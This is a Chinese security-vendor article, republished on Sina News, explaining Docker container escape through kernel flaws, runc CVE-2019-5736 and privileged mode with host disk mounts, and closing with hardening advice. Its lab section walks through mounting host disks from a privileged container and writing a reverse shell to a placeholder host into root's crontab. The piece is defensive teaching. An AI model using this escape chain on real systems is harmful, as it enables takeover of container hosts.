新浪新闻客户端

美创安全实验室 | Docker逃逸原理

美创安全实验室 | Docker逃逸原理
2020年07月31日 17:50 新浪网 作者 杭州美创科技股份有限公司

  Docker是时下使用范围最广的开源容器技术之一,具有高效易用等优点。由于设计的原因,Docker天生就带有强大的安全性,甚至比虚拟机都要更安全,但你可曾想过“坚不可摧”的Docker也会被人攻破,Docker逃逸所造成的影响之大几乎席卷了全球的Docker容器。本期美创安全实验室将会带大家研究造成Docker逃逸的根本原理以及相应的防御方法。

  Docker简介

  Docker是一种容器,容器的官方定义是:将软件打包成标准化单元、以用于开发、交付和部署。容器的特点在于格式统一,运行速度快,所需资源小,并且可以层层重叠。

  与虚拟机的架构进行一下对比就可以看出,Docker整体的架构更加轻巧,灵活。而且由于Docker是直接利用宿主机的系统内核,所以可以做到几秒钟之内创建大量的容器,他们的启动速度是在数量级上的差距。

美创安全实验室 | Docker逃逸原理
虚拟机与Docker架构对比

  (左为虚拟机架构、右为Docker架构)

  Docker逃逸原理

  因为Docker所使用的是隔离技术,就导致了容器内的进程无法看到外面的进程,但外面的进程可以看到里面,所以如果一个容器可以访问到外面的资源,甚至是获得了宿主主机的权限,这就叫做“Docker逃逸”。

  目前产生Docker逃逸的原因总共有三种:

  一、由内核漏洞引起。

  二、由Docker软件设计引起。

  三、由特权模式与配置不当引起。

  接下来依次对这三种逃逸方法做简单说明。

  01由于内核漏洞引起的逃逸

  因为Docker是直接共享的宿主主机内核,所以当宿主主机的内核存在安全漏洞时会一并影响Docker的安全,导致可能会造成Docker逃逸。具体流程如下:

  ①使用内核漏洞进入内核上下文

  ②获取当前进程的task struct

  ③回溯task list 获取pid=1的task struct,复制其相关数据

  ④切换当前namespace

  ⑤打开root shell,完成逃逸

  02由于Doker软件设计引起的逃逸

  比较典型的例子是Docker的标准化容器执行引擎----runc。Runc曾在2019年2月被爆出来过一个Docker逃逸漏洞CVE-2019-5736。其漏洞原理是,Docker、Containerd或其他基于runc的容易在运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行文件时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限,造成Docker逃逸。

  03由于特权模式+目录挂载引起的逃逸

  这一种逃逸方法较其他两种来说用的更多。特权模式在6.0版本的时候被引入Docker,其核心作用是允许容器内的root拥有外部物理机的root权限,而此前在容器内的root用户只有外部物理机普通用户的权限。

  使用特权模式启动容器后(docker run --privileged),Docker容器被允许可以访问主机上的所有设备、可以获取大量设备文件的访问权限、并可以执行mount命令进行挂载。

  当控制使用特权模式的容器时,Docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

  除了使用特权模式启动Docker会引起Docker逃逸外,使用功能机制也会造成Docker逃逸。Linux内核自版本2.2引入了功能机制(Capabilities),打破了UNIX/LINUX操作系统中超级用户与普通用户的概念,允许普通用户执行超级用户权限方能运行的命令。例如当容器以--cap-add=SYSADMIN启动,Container进程就被允许执行mount、umount等一系列系统管理命令,如果攻击者此时再将外部设备目录挂载在容器中就会发生Docker逃逸。

  Docker逃逸实验(特权模式+目录挂载)

  目标机:192.168.210.37

  目标机上对外开启了Docker服务,运行在2375端口上。直接访问目标机的2375端口即可未授权查看Docker信息,如下:

美创安全实验室 | Docker逃逸原理

  查看当前docker中存在的所有容器:docker images

美创安全实验室 | Docker逃逸原理

  使用特权模式启动容器

美创安全实验室 | Docker逃逸原理

  查看磁盘文件:fdisk -l

美创安全实验室 | Docker逃逸原理

  从返回结果来看sda1、sda2、sda3在/dev目录下。

美创安全实验室 | Docker逃逸原理

  新建一个目录/test,然后将/dev/sda1挂载到新建的目录下

  mkdir /test

  mount /dev/sda1/test

美创安全实验室 | Docker逃逸原理

  这时再查看新建的目录/test,就可以访问宿主机上的目录内容了(/root目录下的内容)

美创安全实验室 | Docker逃逸原理

  同理,新建一个目录/test2,将/dev/sda3挂载到新建的目录下,并查看test2目录下的内容,发现可以访问宿主机上/目录下的内容了

美创安全实验室 | Docker逃逸原理

  在计划任务里写入一个反弹shell:

  echo '*****bash -i >& /dev/tcp/x.x.x.x/7777 0>&1'>> /test2/var/spool/cron/root

美创安全实验室 | Docker逃逸原理

  在Docker上开启netcat监听7777端口,成功接收到宿主主机的Shell,实现Docker逃逸。

美创安全实验室 | Docker逃逸原理

  Docker逃逸防御

  ➢ 更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736。

  ➢ runc版本>1.0-rc6

  ➢ k8s 集群版本>1.12

  ➢ Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)

  ➢ Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险。

  ➢ 不建议以root权限运行Docker服务。

  ➢不建议以privileged(特权模式)启动Docker。

  ➢ 不建议将宿主机目录挂载至容器目录。

  ➢ 不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险。

  美创科技聚焦数据安全,围绕数据安全、灾难备份、数据管理、智能运维等多方面挖掘和铸造数据价值,凭借卓越的产品技术和服务赢得了众多行业的认可和用户口碑!

  本文转自杭州美创科技有限公司公众号(第59号),如需二次转载,请咨询marketing@mchz.com.cn。

特别声明:以上文章内容仅代表作者本人观点,不代表新浪网观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与新浪网联系。
权利保护声明页/Notice to Right Holders

举报邮箱:jubao@vip.sina.com

Copyright © 1996-2024 SINA Corporation

All Rights Reserved 新浪公司 版权所有